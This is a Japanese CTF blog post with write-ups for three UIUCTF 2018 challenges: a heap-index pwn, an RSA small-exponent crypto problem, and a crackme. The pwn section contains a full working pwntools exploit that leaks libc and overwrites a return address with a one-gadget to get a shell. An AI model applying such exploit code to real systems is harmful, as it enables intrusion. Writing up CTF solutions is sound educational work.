h_nosonの日記

競プロ、CTFなど

UIUCTF 2018 writeup

[Pwn 300] how2heap

ELF 64-bit、動的リンク、Full RELRO, SSP, NX, PIE有効。

$ file how2heap
how2heap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a22c88d960ee2d2ae953dcb5ddf627700b00935a, stripped
$ checksec how2heap
[*] '/program/ctf/uiuctf/2018/how2heap/how2heap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

問題名にheapと入っているがこれはメモリ空間のheapではなくデータ構造のheap。

$ ./how2heap
Help! I've made too many GW2 alts! Can you help me?

===========================================
     GW2 Character Management Interface
===========================================
0. Line up your characters nicely
1. Do a head count
2. Make a new character
3. Delete old characters
9. Quit GW2 forever
Choice:

characterの年齢と名前を管理するプログラムで、年齢が高いcharacterが先頭に来るようにheapを使っている。 選択肢が5つあり、

  1. line: 乱れたheap構造を正しくする(年上のcharacterが先頭に来るようにする)
  2. do: 木構造(実際には配列)を先頭から見ていって年齢が0でないものをカウントし、それをheapのサイズとして保存する。
  3. make: heapのサイズが0xe以下(符号つき)ならば、新しいcharacterの名前と年齢を入力してheapの末尾に追加する(末尾は保存されているheapのサイズによって決まる)。必要があれば親のノードと入れ替えてノード間の大小を保たせる。
  4. delete: 先頭のcharacterの年齢が0でなければ末尾のcharacterを先頭に持ってきて、末尾の名前だけ消す。heapのサイズを1減らす。消したcharacterの名前を出力する(リークに使う)。
  5. quit: retする。

まず、deleteで末尾の年齢を消していないため何度もdeleteさせることができ、heapのサイズを-1にできる。ここでmakeを行うと、heapのサイズが保存されている場所がheapの末尾だとみなされてheapのサイズを変更できる。サイズをうまくいじってdeleteでstack上にあるlibcのアドレスをheapの先頭にもってきて、もう一度deleteをしてアドレスをリークする。あとはmakeでheapのサイズを[戻り番地があるアドレスまでのoffset - 1<<63]に変えて戻り番地をone gadget RCEのアドレスに書き換える。gadgetを探すにはこれが便利↓

#!/usr/bin/env python
from pwn import *

def line():
    s.sendlineafter('Choice: ', '0')

def do():
    s.sendlineafter('Choice: ', '1')

def make(name,age):
    s.sendlineafter('Choice: ', '2')
    s.sendlineafter('name? ', name)
    s.sendlineafter('age? ', str(age))

def delete():
    s.sendlineafter('Choice: ', '3')

def quit():
    s.sendlineafter('Choice: ', '9')

if __name__ == '__main__':
    if len(sys.argv) == 1:
        s = process('./how2heap', env = {'LD_PRELOAD': './libc-2.26.so'})
    else:
        s = remote('challenges1.uiuc.tf', 38910)

    onegadgets = [0x47c46, 0x47c9a, 0xfccde, 0xfdb8e]

    make('A' * 7, 1)
    make('A' * 7, 1)
    make('A' * 7, 1)
    delete()
    delete()
    delete()
    delete()
    make('A' * 7, -0x9)
    line()
    delete()
    delete()
    s.recvline()
    text_base = u64(s.recvuntil(', ')[:-2].ljust(8,'\0')) - 0x123c
    log.info('text base: %#x' % text_base)
    do()
    delete()
    s.recvline()
    libc_base = u64(s.recvuntil(', ')[:-2].ljust(8,'\0')) - 0x3db720
    log.info('libc base: %#x' % libc_base)

    do()
    delete()
    delete()
    delete()
    make('A' * 7, (-1<<63) + 0x10)
    make(p64(libc_base + onegadgets[3])[:-1], u64('B' * 7 + '\0'))
    quit()
    s.interactive()
$ ./exploit.py remote
[+] Opening connection to challenges1.uiuc.tf on port 38910: Done
[*] text base: 0x55765cfa2000
[*] libc base: 0x7efed3c92000
[*] Switching to interactive mode

:(
$ ls
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag.txt
flag{N0+_qu1t3_th3_h34P_u_w3r3_xp3ct1nG}

[Crypto 200] Hastad

問題文にe=3とだけ書かれて2つのファイルが渡される。1つは暗号文でもう1つはRSAのmodに使われるnだと思う。値を比べてみると暗号文がnに比べてとても小さかったので試しに三乗根を取ってみたらフラグが出てきた。

#!/usr/bin/env python

from Crypto.Util.number import *

c = map(lambda x: int(x,16), ["10652cdfaa86ddbee1409ac7ac327a0c848081ee6e3b110867085f1074755785b0a5a6a2343b791695c3e91fdb370d5b26be3b6d2fc449c7788bbb1ab67ddc361b4115010618e39c883449b757fc1624369b440236ee65", "10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d40163376416270965", "10652cdfaa8ab16290cf92bacf31b23d6a0ea95c2ebd6eb8afe4f038d852a7f17e98f965f299b4d00126611d403c5208a145157ed1d71079fc558eaa888e993360fac35c7a816ad183190867b1b7580a2677cd6871aa65", "10652cdfaa86ddbee1409ac7ac327a0c848081ee6e3b110867085f1074755785b0a5a6a2343b791695c3e91fdb370d5b26be3b6d2fc449c7788bbb1ab67ddc361b4115010618e39c883449b757fc1624369b440236ee65", "10652cdfaa875a9ac01e472ea5896c1d460410508b9a7c723b5ba904fb5b64d68a1e96254ba04b08c92d51f1fe6c3d6bb426e1ee8c61c8a6ff1eeab9e07f51d8057f2f0c54b27c7006539f7148484ff26a02e4cb1d3165", "10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d40163376416270965", "10652cdfaa875a9ac01e472ea5896c1d460410508b9a7c723b5ba904fb5b64d68a1e96254ba04b08c92d51f1fe6c3d6bb426e1ee8c61c8a6ff1eeab9e07f51d8057f2f0c54b27c7006539f7148484ff26a02e4cb1d3165", "10652cdfaa8210601d22f4a15aa380233420f9ee9a276d3ac8e05cfc4f6f515f78331e8e74484e8533221e88f78671dd08622e78233e458978a35036680d1c5caaba2fa3bce3b914ad48501a276d6a88adc16db282e065", "10652cdfaa8ab16290cf92bacf31b23d6a0ea95c2ebd6eb8afe4f038d852a7f17e98f965f299b4d00126611d403c5208a145157ed1d71079fc558eaa888e993360fac35c7a816ad183190867b1b7580a2677cd6871aa65", "10652cdfaa8c2701b8bb7c11fc3218cc2d97cd4707f6de55637bc093f474d231b4d4fe8635261b8e4f772d0e51a25f8e713777a137be6f04e0d28ddd6ec0b852aaf357d33e08aed23e034fcd1ced38542fbeb5aa0eee65", "10652cdfaa8210601d22f4a15aa380233420f9ee9a276d3ac8e05cfc4f6f515f78331e8e74484e8533221e88f78671dd08622e78233e458978a35036680d1c5caaba2fa3bce3b914ad48501a276d6a88adc16db282e065", "10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d40163376416270965", "10652cdfaa8ab162128a955a58d3b780f2656800796eb70c345c56d7b8523d614ef4ca920471f56493c83ca48500033a0c0b31988ca6e66a76e0ed559b38616688941558b127260cdf70261822929efa0aa6b6d79d1665", "10652cdfaa8ab162128a955a58d3b780f2656800796eb70c345c56d7b8523d614ef4ca920471f56493c83ca48500033a0c0b31988ca6e66a76e0ed559b38616688941558b127260cdf70261822929efa0aa6b6d79d1665", "10652cdfaa8c2701b8bb7c11fc3218cc2d97cd4707f6de55637bc093f474d231b4d4fe8635261b8e4f772d0e51a25f8e713777a137be6f04e0d28ddd6ec0b852aaf357d33e08aed23e034fcd1ced38542fbeb5aa0eee65"])

m = map(lambda x: int(x,16), ["0xbc4ec2b74d85fb57ec07f538b59987c1150042ef76178b7af6dc09ca139dc8570226fe0317f3b73e8f98de38eb03a986496431d8526be4e65d47d86130a4370348b8a8dbba80d922f4dbac31b95f1028baac1ba8f8cab00d6e362c761da0dece81a700b92a5c1d79ec50451b3147805123e92f424d422d688ab020280d35384f", "0xd83a59170679b7d8b2199e98656717c515e06e44e65b5f7b687e4fec6d21a7e6e75ecbcf208202f210ef8e29a7ad44ab72914b1f35d502f6d7f657e5512d4b989773515cbc046ca3ffef37f3090548ac1086d96c96fe7edb9bdeb58ba635fa1582da4a85357105293139c8152d70c2ec5ec667bb91197c353cd6aafac73476df", "0xc39ab84fbf6709048427c05dbd303f0ba2f90ecdd51a809f1d8da9df0546a771e982a6bccb299c4bf12d1b0b11df88b0627563d726bb70c5121cb5722c75e35b54e6d43d09443738fe3ac8e5a8bb74b1667ddf6592359d9fc65a05a32b98a50c52f1339ed8b5fab5616d52d81a11579a83fc33e069c4d9cfb93b24d752937ced"])

def cbrt(x):
    l = 1
    r = 1<<1024
    while l + 1 < r:
        m = (l + r) // 2
        if m ** 3 <= x:
            l = m
        else:
            r = m
    return l

for x in c:
    print long_to_bytes(cbrt(x))
$ ./solve.py
flag{klkjlkjjuibnjgjcbskdfks}
flag{wh00ps_srry_4_br0adcast}
flag{sdgsdgsdfgsdfsdgfwegdsg}
flag{klkjlkjjuibnjgjcbskdfks}
flag{lplplplplpllplasdasdlpl}
flag{wh00ps_srry_4_br0adcast}
flag{lplplplplpllplasdasdlpl}
flag{alfaadsaldhlawidjlxicli}
flag{sdgsdgsdfgsdfsdgfwegdsg}
flag{vnmxsfwu382423423rfs3ss}
flag{alfaadsaldhlawidjlxicli}
flag{wh00ps_srry_4_br0adcast}
flag{sdflsdfhsdcuweuhckdufhk}
flag{sdflsdfhsdcuweuhckdufhk}
flag{vnmxsfwu382423423rfs3ss}

[Rev 100] triptych

crackme系の問題。

実行中にコードを生成しているようなのでgdbで追ってみると最後にvalidateを呼び出していることがわかった。

gdb-peda$ disas validate
Dump of assembler code for function validate:
=> 0x00000000004006a6 <+0>:     push   rbp
   0x00000000004006a7 <+1>:     mov    rbp,rsp
   0x00000000004006aa <+4>:     sub    rsp,0x70
   0x00000000004006ae <+8>:     mov    QWORD PTR [rbp-0x68],rdi
   0x00000000004006b2 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x00000000004006bb <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004006bf <+25>:    xor    eax,eax
   0x00000000004006c1 <+27>:    movabs rax,0x797472657771275f
   0x00000000004006cb <+37>:    mov    QWORD PTR [rbp-0x30],rax
   0x00000000004006cf <+41>:    movabs rax,0x73617d7b706f6975
   0x00000000004006d9 <+51>:    mov    QWORD PTR [rbp-0x28],rax
   0x00000000004006dd <+55>:    movabs rax,0x7a6c6b6a68676664
   0x00000000004006e7 <+65>:    mov    QWORD PTR [rbp-0x20],rax
   0x00000000004006eb <+69>:    movabs rax,0x7c6d6e62766378
   0x00000000004006f5 <+79>:    mov    QWORD PTR [rbp-0x18],rax
   0x00000000004006f9 <+83>:    mov    DWORD PTR [rbp-0x5c],0x0
   0x0000000000400700 <+90>:    jmp    0x400777 <validate+209>
   0x0000000000400702 <+92>:    mov    eax,DWORD PTR [rbp-0x5c]
   0x0000000000400705 <+95>:    movsxd rdx,eax
   0x0000000000400708 <+98>:    mov    rax,QWORD PTR [rbp-0x68]
   0x000000000040070c <+102>:   add    rax,rdx
   0x000000000040070f <+105>:   movzx  eax,BYTE PTR [rax]
   0x0000000000400712 <+108>:   cmp    al,0x5e
   0x0000000000400714 <+110>:   jle    0x40072a <validate+132>
   0x0000000000400716 <+112>:   mov    eax,DWORD PTR [rbp-0x5c]
   0x0000000000400719 <+115>:   movsxd rdx,eax
   0x000000000040071c <+118>:   mov    rax,QWORD PTR [rbp-0x68]
   0x0000000000400720 <+122>:   add    rax,rdx
   0x0000000000400723 <+125>:   movzx  eax,BYTE PTR [rax]
   0x0000000000400726 <+128>:   cmp    al,0x7d
   0x0000000000400728 <+130>:   jle    0x400734 <validate+142>
   0x000000000040072a <+132>:   mov    edi,0x0
   0x000000000040072f <+137>:   call   0x400590 <exit@plt>
   0x0000000000400734 <+142>:   mov    DWORD PTR [rbp-0x58],0x0
   0x000000000040073b <+149>:   jmp    0x40076d <validate+199>
   0x000000000040073d <+151>:   mov    eax,DWORD PTR [rbp-0x58]
   0x0000000000400740 <+154>:   movsxd rdx,eax
   0x0000000000400743 <+157>:   mov    rax,QWORD PTR [rbp-0x68]
   0x0000000000400747 <+161>:   add    rdx,rax
   0x000000000040074a <+164>:   mov    eax,DWORD PTR [rbp-0x58]
   0x000000000040074d <+167>:   movsxd rcx,eax
   0x0000000000400750 <+170>:   mov    rax,QWORD PTR [rbp-0x68]
   0x0000000000400754 <+174>:   add    rax,rcx
   0x0000000000400757 <+177>:   movzx  eax,BYTE PTR [rax]
   0x000000000040075a <+180>:   movsx  eax,al
   0x000000000040075d <+183>:   sub    eax,0x5f
   0x0000000000400760 <+186>:   cdqe
   0x0000000000400762 <+188>:   movzx  eax,BYTE PTR [rbp+rax*1-0x30]
   0x0000000000400767 <+193>:   mov    BYTE PTR [rdx],al
   0x0000000000400769 <+195>:   add    DWORD PTR [rbp-0x58],0x1
   0x000000000040076d <+199>:   cmp    DWORD PTR [rbp-0x58],0x17
   0x0000000000400771 <+203>:   jle    0x40073d <validate+151>
   0x0000000000400773 <+205>:   add    DWORD PTR [rbp-0x5c],0x1
   0x0000000000400777 <+209>:   cmp    DWORD PTR [rbp-0x5c],0x2
   0x000000000040077b <+213>:   jle    0x400702 <validate+92>
   0x000000000040077d <+215>:   movabs rax,0x7b646e6a7d756d7a
   0x0000000000400787 <+225>:   mov    QWORD PTR [rbp-0x50],rax
   0x000000000040078b <+229>:   movabs rax,0x7b6f646e5f667b6f
   0x0000000000400795 <+239>:   mov    QWORD PTR [rbp-0x48],rax
   0x0000000000400799 <+243>:   movabs rax,0x61677b5f7a685f7b
   0x00000000004007a3 <+253>:   mov    QWORD PTR [rbp-0x40],rax
   0x00000000004007a7 <+257>:   mov    BYTE PTR [rbp-0x38],0x0
   0x00000000004007ab <+261>:   mov    DWORD PTR [rbp-0x54],0x0
   0x00000000004007b2 <+268>:   jmp    0x4007e0 <validate+314>
   0x00000000004007b4 <+270>:   mov    eax,DWORD PTR [rbp-0x54]
   0x00000000004007b7 <+273>:   movsxd rdx,eax
   0x00000000004007ba <+276>:   mov    rax,QWORD PTR [rbp-0x68]
   0x00000000004007be <+280>:   add    rax,rdx
   0x00000000004007c1 <+283>:   movzx  edx,BYTE PTR [rax]
   0x00000000004007c4 <+286>:   mov    eax,DWORD PTR [rbp-0x54]
   0x00000000004007c7 <+289>:   cdqe
   0x00000000004007c9 <+291>:   movzx  eax,BYTE PTR [rbp+rax*1-0x50]
   0x00000000004007ce <+296>:   cmp    dl,al
   0x00000000004007d0 <+298>:   je     0x4007dc <validate+310>
   0x00000000004007d2 <+300>:   mov    edi,0x0
   0x00000000004007d7 <+305>:   call   0x400590 <exit@plt>
   0x00000000004007dc <+310>:   add    DWORD PTR [rbp-0x54],0x1
   0x00000000004007e0 <+314>:   cmp    DWORD PTR [rbp-0x54],0x18
   0x00000000004007e4 <+318>:   jle    0x4007b4 <validate+270>
   0x00000000004007e6 <+320>:   mov    edi,0x400be4
   0x00000000004007eb <+325>:   call   0x400540 <puts@plt>
   0x00000000004007f0 <+330>:   nop
   0x00000000004007f1 <+331>:   mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004007f5 <+335>:   xor    rax,QWORD PTR fs:0x28
   0x00000000004007fe <+344>:   je     0x400805 <validate+351>
   0x0000000000400800 <+346>:   call   0x400550 <__stack_chk_fail@plt>
   0x0000000000400805 <+351>:   leave
   0x0000000000400806 <+352>:   ret

validateでは入力をテーブルにしたがって3回置換し、ある文字列と比較して正誤の判定を行っている。つまり、この置換の逆を計算すればいい。

#!/usr/bin/env python

encoded = "zmu}jnd{o{f_ndo{{_hz_{ga"
table = "_`qwertyuiop{}asdfghjklzxcvbnm|"

o = [chr(i) for i in range(0x5f,0x7d+1)]
t = [chr(i) for i in range(0x5f,0x7d+1)]
for j in range(3):
    for i in range(len(t)):
        t[i] = table[ord(t[i]) - 0x5f]
d = {}
for i,c in enumerate(t):
    d[c] = i
print ''.join([o[d[c]] for c in encoded])
$ ./solve.py
flag{theres_three_of_em}

解きたかった問題

  • [Crypto 250] xoracle
  • [Misc 200] important videos